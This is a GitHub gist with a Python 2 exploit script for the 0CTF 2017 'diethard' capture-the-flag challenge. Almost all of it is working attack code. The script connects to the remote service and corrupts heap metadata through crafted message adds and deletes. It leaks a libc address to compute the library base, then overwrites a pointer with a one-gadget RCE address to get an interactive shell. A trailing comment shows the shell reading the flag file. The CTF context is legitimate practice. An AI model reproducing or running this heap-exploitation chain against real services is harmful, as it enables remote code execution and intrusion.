Created
March 21, 2017 14:40
-
-
Save hhc0null/35fda85f226db1690c944b5943028794 to your computer and use it in GitHub Desktop.
A foolish solution for 0CTF 2017 diethard
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import binascii | |
import collections | |
import hashlib | |
import itertools | |
import re | |
import os | |
import random | |
import shlex | |
import socket | |
import string | |
import struct | |
import subprocess | |
import sys | |
import tempfile | |
import time | |
import telnetlib | |
# Utilities | |
def p(x, t="<Q"): | |
return struct.pack(t, x) | |
def pl(l): | |
return ''.join(map(p, l)) | |
def u(x, t="<Q"): | |
return struct.unpack(t, x)[0] | |
def ui(x): | |
return u(p(x, t="<q"), t="<Q") | |
''' | |
def a2n(s): | |
return socket.inet_aton(s) | |
def n2a(s): | |
return socket.inet_ntoa(s) | |
''' | |
def nasm(code, bits=32): | |
source_path = None | |
with tempfile.NamedTemporaryFile(prefix='shellcode', delete=False) as tf: | |
source_path = tf.name | |
tf.write("BITS %d\n%s"%(bits, code)) | |
object_path = source_path[:-2]+'.o' | |
try: | |
subprocess.check_call( | |
'nasm %s -o %s'%(source_path, object_path), shell=True) | |
except subprocess.CalledProcessError: | |
print '[!] Cannot generate a source code.' | |
sys.exit(-1) | |
with open(object_path, 'rb') as f: | |
shellcode = f.read() | |
os.remove(source_path) | |
os.remove(object_path) | |
return shellcode | |
def _dp(data): | |
global _debug | |
if not _debug: | |
return False | |
if all(ch in string.printable for ch in data): | |
print '[DEBUG] - raw\n', data | |
else: | |
print '[DEBUG] - repr\n', repr(data) | |
return True | |
# Communicators | |
def read_until(f, delim='\n'): | |
data = "" | |
while not data.endswith(delim): | |
data += f.read(1) | |
return data | |
def connect(rhp): | |
s = socket.create_connection(rhp) | |
f = s.makefile('rw', bufsize=0) | |
print '[+] Connected to %s:%d'%(rhp) | |
return s, f | |
def interact(s): | |
t = telnetlib.Telnet() | |
t.sock = s | |
print '[+] your shell.' | |
t.interact() | |
### user-defined | |
class IO(object): | |
def __init__(self, rhp): | |
self.rhp = rhp | |
self.s, self.f = connect(self.rhp) | |
def _read(self, size): | |
return self.s.recv(size) | |
def _write(self, buf): | |
self.s.send(buf) | |
def write(self, buf, end=''): | |
self._write(buf+end) | |
def writeln(self, buf): | |
self.write(buf, end='\n') | |
def read_until(self, delim='\n'): | |
buf = '' | |
while not buf.endswith(delim): | |
buf += self._read(1) | |
return buf | |
def flush(self): | |
self.f.flush() | |
def interact(self): | |
interact(self.s) | |
def close(self): | |
self.f.close() | |
self.s.close() | |
class ClientIO(IO): | |
def __init__(self, rhp, debug=False): | |
self.debug = debug | |
super(ClientIO, self).__init__(rhp) | |
r = self.read_until('3. Exit\n\n') | |
data = r | |
_dp(data) | |
self.messages = [] | |
def add_message(self, length, message): | |
tpl = collections.namedtuple('Message', ('length', 'message')) | |
tpl.length = length | |
tpl.message = message | |
self.writeln(str(1)) | |
r = self.read_until('Input Message Length:') | |
data = r | |
self.writeln(str(length)) | |
r = self.read_until('Please Input Message:') | |
data += r | |
self.writeln(message) | |
r = self.read_until('3. Exit\n\n') | |
data += r | |
self.messages.append(tpl) | |
def delete_message(self, index): | |
recv_messages = [] | |
self.writeln(str(2)) | |
r = self.read_until('Index. Message\n') | |
data = r | |
delim = 'Which Message You Want To Delete?\n' | |
r = self.read_until(delim) | |
data += r | |
for line in r[:-len(delim)].split('\n')[:-1]: | |
message = line.split('. ')[1] | |
tpl = collections.namedtuple('Message', ('length', 'message')) | |
tpl.length = len(message) | |
tpl.message = message | |
recv_messages.append(tpl) | |
self.writeln(str(index)) | |
r = self.read_until('3. Exit\n\n') | |
data += r | |
messages = self.messages | |
self.messages = messages[:index] + messages[index+1:] | |
return data | |
def exit(self): | |
self.writeln(str(3)) | |
def select_size(): | |
return random.randrange(1, 0x7e1) if random.random() < 0.5 else random.randrange(0x7e1, 0x800) | |
def select_choice(): | |
return 1 if random.random() < 0.7 else 2 | |
def generate_message(size): | |
if random.random() < 0.3: | |
size = random.randrange(1, size) | |
return ''.join(map(lambda _: random.choice(string.ascii_letters+string.digits), range(size))) | |
def fuzz(client): | |
payload = '' | |
try: | |
n = 0 | |
for i in range(0x8): | |
l = len(client.messages) | |
if l == 0: | |
choice = 1 | |
elif l == 10: | |
choice = 2 | |
else: | |
choice = select_choice() | |
if choice == 1: | |
size = select_size() | |
message = generate_message(size) | |
payload += ' d%d = %s\n'%(n, repr(message)) | |
payload += ' client.add_message(%d, d%d)\n'%(size, n) | |
payload += '\n' | |
client.add_message(size, message) | |
n += 1 | |
#print '[*] Added message: (%dbytes)'% size | |
else: | |
idx = random.randrange(len(client.messages)) | |
payload += ' client.delete_message(%d)\n'% idx | |
payload += '\n' | |
client.delete_message(idx) | |
#print '[*] Deleted message: # %d'%(idx) | |
except: | |
filename = raw_input('Filename: ') | |
with open(filename, 'w') as wf: | |
wf.write(payload+'\n') | |
wf.write(' raw_input("Waiting...")\n') | |
wf.write(' client.interact()\n') | |
if __name__ == '__main__': | |
argc = len(sys.argv) | |
if argc < 3: | |
print >> sys.stderr, "Usage: %s HOST PORT [IS_LOCAL]"%(sys.argv[0]) | |
sys.exit(1) | |
rhp, local = (sys.argv[1], int(sys.argv[2])), argc > 3 | |
_debug = False | |
if local: | |
offset_libc_puts = 0x000000000006a110 # W puts | |
else: | |
offset_libc_puts = 0x000000000006b990 # W puts | |
client = ClientIO(rhp) | |
#fuzz(client) | |
d0 = '61vs7d4WZntHiJbdYlKkjsY8aSBdJjmjSvxReLURDmo2F9312mY3zyAtFyfU4bOxIVYbpK48ckvPeiJfPqmUUxy2k4kQNzqZ4aho3VOm9jj7sYx1QnIdYWDNBPuMZdy91ZUay7MTCN4VMFs1wFJjg0voPpO5wJBQQKLJjC6LwwQLEasY86n1HCGElx4jRBZiB6u9MND3jpyzqyQLdaiJGmRTEZc7RRxT5vCz5hQpnf0Uly7DXw2biw49dqo0Kr2fjRaTIU7IVaSxQrZTeCxBrtkV23AbhOWNTKtYDfHLHwurAN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V9STP0epCLvB7ntggRchUYCei5lk0cq3k79gs82yWUuvIjPcvzxPwMT03QwRSe0d1OoaRkpMrZoviuvqWiSK2cGA2niCQ35moSHhLSva1p41F2OLiLhJ8r0qOqBuJc776exe6J4bnrn9M5iZ0lihNrOkhdedPqumGpToQaH0fBfY85CiClWEPrgS0qX5bSKCZMRHHYDZK0Eq5uw3PkOnwlRaZmimcPet1jkIGdZAG8yOvASp6v2A8KMSRepsnq079Z35wKJIHJeux8eXxBoxr3DqethNVJxkIwXVKeCwXnSkWS9tANPMW49JIMCEXiqTZt9iKKuPojXsVWbKSI2yZNj2STP0Gp1xupfnpv9w3U2yxdPNdxfH2DsD3zH92QAJOeJptfq46vXuopz80w7TqEnaLN7Al2rZuAi1x' | |
client.add_message(1443, d2) | |
d3 = 'WCOjlmA24YZXLM59aKma5kRB00ymM66KPbcj7YsaeQT7HDxI1ynvS5nKVRKDh9Fmd33I1wdGhBkKP0T0bfHLaTU79GfeR5Bb1UHh3FTt2xU3fTKgFMqRZoySDMhMo91527giXvURfFnUcBVZInOD5DJIeYmyLie0uYkwVIM8bUva6iciFwC7vNPoYIqUbU9Wa3MhRq9zlgu9s1jxW5oHuPEleWztaZJjG9Z2C62TEyizixYonO2yTN6a75sTwOJWxzf86UKWVGKHOynwF4fTJcnTB21a6O4aJzvab5WPgvMJfbGXu6foBy2qX6eGFttrhLBYXfObZlmWRZSz05PEdf1FM24XXDmW9bISwdJZs1oMwnyhbBeXxeatS40QHbD3Qvzj3DdwtZgBFDiNrCOg5mm4ngqXhgJ3olFujDAhJQ1QIGcgnkM815lluJfqus5k3trDIRCKwkmOJeaBkO0WOn1KUqBcCrnPCrOExz78o2Avs9g01OIe26MN5yh3QMVMWM07vbeBIAEDpuMdVGaXfDVvVuEMnl29hIwvPJDPGqB0bxE1ICKByf8Nr3gUHQaX6bSEk1T6wUEABMpCfs5YZmzA3iXyUl78t9DlmmJwgnO8GnaaRJza3iksUL0qnWjuHHeZa41i5dMCcVUS1C1Cn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ismU4OM2gchw5DYxxyqlhJq97KdLTDbl8PHYtBXCgCCbMnFn8FBhlFIb5pby6zVHCz4KBXNXXBAeC783QkHM5XbFpMZ1I9nQcGxBUT23Ph3KNhMwccehwtnrPQ7pCpeklI70jriXVIMfTZ7p6RqhF2Ar6SBm4pERGwRb0WK5vVPckGzYqP7bK0TKsshqSjsYRzBVDo5OGYZ4CH55RSKDrCF806KjRP4DuGupbAsVlkCky7MzeWWdLL5kMZKn3ZOpKJioCX3OSkoIFUObV0cVjnr5og1E1CXAXHB0goakEZ1mYt4TaP9dEv9wv5GJTOfxq0kVukmrFks9XDMCSCEAxvslf0tFYCVGk7tbS0OtqEvGRnPZ2zObxhxDhoyrG12cmTG0xTBJuzyB0MduI3A56sMjZZlokmHp3PyyHDAFuPaG7SjpMhcG3EY1c21ZlHq3x9NZaoeRzVIy11SYDok1IsQ88QxbrymK1R58LRF6DKzw2soPBW8kxrDr4MCfRDHLE196gvSpCwk80KnE1AV6yDGq9TmdaY29AusiXDWxOwk7Veo63Pjd6KCymAdRFpY9DZmG3iFAOaNgWsJUuhTL389I36FPBbEamp0vNB3hqlye1zB4eRm2EQOW6XVPg4bBZECYFknP7Rn6dhUoBDsVsrGqWW0LRbjOtTe7EOHN8U490pGmc9OuAp6qLB30M9YEieruxEJBega53WAQm26aolMHnv367zr8Dm77ExUZaUVgTiNQuYxfckzWiBwO1hf8X2xf2I5gliIXnr2i2qbv3uTXRNHDVNtdkspLAvSkWAdtWoYv6WQapAezKhkbTJmY5FSclUis5zHOfY2j4EwQsaQEaFxEhM8KIMn0jQx7omrKZPIWsPxTY6W0pABgK6Y0SG0STV8ICzWpEf238fnX2NIr3x1J9mHBifuJwGSIQUrsI9yihFjBy0goZveNqjz8m9WRPq4ltZr1BxcHXT4E9fXpLQ9U08A4144cvjsiwZtsri8LQ53daqYQCHZ0eEy0Jo2sn6IIhY1YCXN1qG890erKrhsQZbwLQflcgo' | |
client.add_message(2044, d4) | |
client.delete_message(1) | |
# crashed with S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CJgLp9T29PqVcHwD6N3ZKre0Yskc6n9U8c27IiiU4ysaNmWsvI7jlAdn0o0twb9qguSBxDjCdQQ7U9NKVC1cst9m8XxJ4TQcKEHP3cbyw5lFxpV6SL6WPx9MSJmc8W3HZU4Vc0yZIrbi4eu0IaQdF94w2zljNxTY034qBDcDZLb0v4ZFEJCP5mDIcusVLhjmk0eDtt8MWROyK349MfPakhAJm8dRYP1TWfpq390BLc8ftqGjKegm4i4M7PoXZl54qD4b49JksbZeg0ghJb6V7yhE7vjpdUTEPASxExDfnWyGfPzIz1FCozPj3wZz8yzffjMoLgza6Ee6ghGmZ0abq0U9J42ByYXsFczM8nAlHs8zthsoS9XPsMlvtPue2WGZNnMvpCmNrYRtMwJdhRO34IAVVmC5YhKxz5gTkVc5jMBN9irHEPhLOqhjUTUQAbHcI0EkHSdlODANE7AIRUeJFfvr1fvBbbVlNv7Lu13HhWr7QpnVqGjk0azXB9RDNUXTmDT3r9151Uh89Vf9HvW6w7UxYpJATvgY37MisNTJ3aDFjlpm4D3KZFKhXBOzfChCxEXsu8jzvcHYbHMcvVg2ru8NR2yKHqDGS8ZKeJ8ogGGjGncP8X5A0tK9VE44ZQOhLwjeIENTu1fnzUJlL9LSpHrpJkU6PJJvuv6hsfAL8NIImBv8MA6DgomuLYrc3SGFHkgTULNwU7KoDsxpG02WBsORzdI4eaTkWKiUKJEluXLdowhN5I361nrQPbEPHP8SrXLsaIZopTUOQGAGryoYNgJqa9ZuhriT6ivLYlaiVwD8CPQIyJmGr43IJGQ8QclWYb0PD0XCGuCYEpCTMwvAopx74ZNYfE8EprdrSHqKlLp30J2p4Jy8Dy5MrDk2b5wFMbePwGKDWWHYqXl2CROi5fhrf9CZAmv89UJZqEmARW6ghrVQeI9jYlL208PvSv4ZuZltXA7DfAEEzGM' | |
payload = ''.join(( | |
p(1), | |
p(0x8), | |
p(0x603260)[:-2], | |
)) | |
client.add_message(2044, payload) | |
# calc libc base | |
data = client.delete_message(0xf00l) | |
addr = u(data.split('2. ')[1][:8]) | |
libc_base = addr - offset_libc_puts # calc from puts() | |
print '[*] libc base: 0x%08x'% libc_base | |
#fuzz(client) | |
# get eip | |
d6 = 'C6s6QbDgABVFMsWa2iclC0vMpw0Drc8m9G7CEKScjFwqKr0QpLKIX43LtuEppjKjBLmgecUHK6ob0zdg92uptgFfyfb1jTKPJn2tKLv9h8FawKlWE9FN3i0xJf9iTdVMbRylBxcalRXgKgx6ECCCIp813Vav38SX05Fr4WY9PhENe3cS3Zuj3u9VllGEMnqqrFIQiVFASnkQFLXjRbknJTmZ2N2aH6zcYCOjfrwlQjurg2JvUwYwEiVUZDkKOo4GArqMLn3VWtttyvUQOsRSX9DXUvAxWkukx4FwChQjGpppgH4yvDNxxt6teYUVaS3GhZ2180cOf5KFQRoS' | |
client.add_message(336, d6) | |
d7 = 'lkWClkes3cirQ8fHecq4XyLkjI32ObOkEGkVTSRWGnjcRVUMty2JysWDmr3EIqXuq1LDNEalOjXdMaCm8i39h6E9CdZkwaJzlT7iCegEfw7JrX1ZcNklPCruR3aUiohlRY7Z0Asg3wROAThBHGANVJdwMVYOrEmXtEuMobj0Nz52nhJAMbsMR6UMGZOKhbYNV7ZtXhY84eCByS8LsboJ2o76vGS39cyHpjyv5yZ620rSAHWUg4LuftAcKnsq0WxeZADWe9RE9jxJBuyZMOuBcHGKI9XnVy7pyDPOnRtwMbSCFo63AtCetceqkA97F9EL5YWkZFHu9OlJp9YjGWGlkokoWn2lsmQGFmABCCwZpgwxhAaUPGjerfJxaBZzM3WpGY0GnatwoesTLPHqHfhLiaytqgf7nPl5ZwNLje55TGIbUaNnxHQC5Uz6CUZ9YBEKC1aMFRixMYVqZXSeojPiGA84RT6Gsi1XTLEJqLfUkEoakWDuyijGVm49mKAmpp5gx0e70cTj0sCio1IS0BS72J2SedU80LnlKaWdqlUpuaiCn7CUsu9XeMPN8gJXTXZVjA014eINLrnkbDS3n9wEm4X4Iy4pQ04rpBERBQh3JvA3GiWBOP15kh31y2NQRknlwSo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pB1FcKkgu2nFdx4B2Ancaj9oeKHjjXd1u3UnrCQVinkWPbgVH3auuQiRHkfUMApu3jkzJAWtw791Ys3HYZG1gPVEU1NSRq827A7PQdDuADIRdDpFO8t0Z5hzblzRkZuOphbagMgwCN99U9ZHy9r2pTosukSSvePJrZuLVyTefH5ISdUafybjQMagD6m15Gob1bXdQxfL4CH1d8uLPdI8xyVJOxviYPOURk1wAZ1WsKZ2RFQcW1UE5oRCRT71JGX1fcfdGle8D4KEwzd3QynOZRqRNHftE181Bxyud75eRaIdm8eBGczCTn6rgu8Lml' | |
client.add_message(2047, d7) | |
client.delete_message(1) | |
# crashed with SEGV and got RIP again. | |
# d8 = '4SyKOCFllW4ERIemRPbUyoKnM1yRS1gMOLBd02HSwMGtMTDgfmh7zr8tZ145Ws94HX2TX49uecIc9ZTdAI6n2pcZgAosrVaixiDWakyak5HtUugQ3rFsHmHPXqb6usrFUqzVk7voQPTpYZXOvCrqMRDJXPXistjFYdLfdLL8W8eZ8O4ppQmgH7D50ZaQCEz7nwwiqrwZ6W0OybZKbVab1YPp0bW35WMhi21hCnwGpMwTSY1i4c1NrlIf7fiiW6L7sAjhEivehd1O9IukTKga12eCZBAMKWiF9FOfFjD2mocDYXWyKB4ZiyOPwxGnQ33rM514GyvvizjFeGBrBaYR72Ooje4XAIxm4ryPAIxzxu3ljcpvnTVNA9Z8LmrTGWJmpm5z0ioRpEwpnKx8q91n97xrzi80sm1thJgv3sBbWLCMCOAtJRNgKWMHOlCUgDU4E2YiqZvuboucPtbXToWxxfyue4ZVcKbpAUVuQsjWFpmo61yG7cNslsssgaeC1arfmtLhO3CdcPicNHq9FscWZXFLkjjX0AcAyONrEh4zf5tQYXs10VGv6e8eE5JPyaDbt1m6WJRgUfjheUpycCZcsiXOVHxpXGnI68kKBDRTqvXu3zdqLf3hutYyMHsw3JjQogyUUiveD87R1lILwnKRwhYiBzNV99v8fnQZEzd9NLfDOEyO7hdHYkh0gtGWAxEU5Gv5vNM2Yt93XA1Lw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gCnWeoHlz89FDHaFR9YkDaCVdWhoneSixlbUL1DicsCinnKAaEVqHLYSRYHu1exVsqGTw2cPgc4CQzCujejsjekabx2OIKWebyWPvBUeCxDaHHyvOb0FqpNHrpofBD9e2tR9jhplAYbjalgVvl6pHCFPj7YO7FbzBSFFrWKZ7jRRos41IVClWh4iKlOIIh7fWzA80r9f10pF07k1pv8ao7BdQu7PScs4HK' | |
ogrce = libc_base + 0xd6e77 # a One Gadget RCE in the remote glibc. | |
payload = ''.join(( | |
p(1), | |
p(0x8), | |
'#'*8, | |
p(ogrce), | |
)) | |
client.add_message(2031, payload) | |
# get a shell. | |
client.writeln(str(2)) | |
client.writeln(str(0xf00l)) | |
client.interact() | |
''' | |
./attack.py ${REMOTE_ADDRESS} 6666 | |
(snip) | |
id | |
uid=1001(diethard) gid=1001(diethard) groups=1001(diethard) | |
ls /home/diethard/flag | |
/home/diethard/flag | |
cat /home/diethard/flag | |
flag{W33_g0t_H34p_me7ad4t4_!n_BSS} | |
exit | |
*** Connection closed by remote host *** | |
''' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment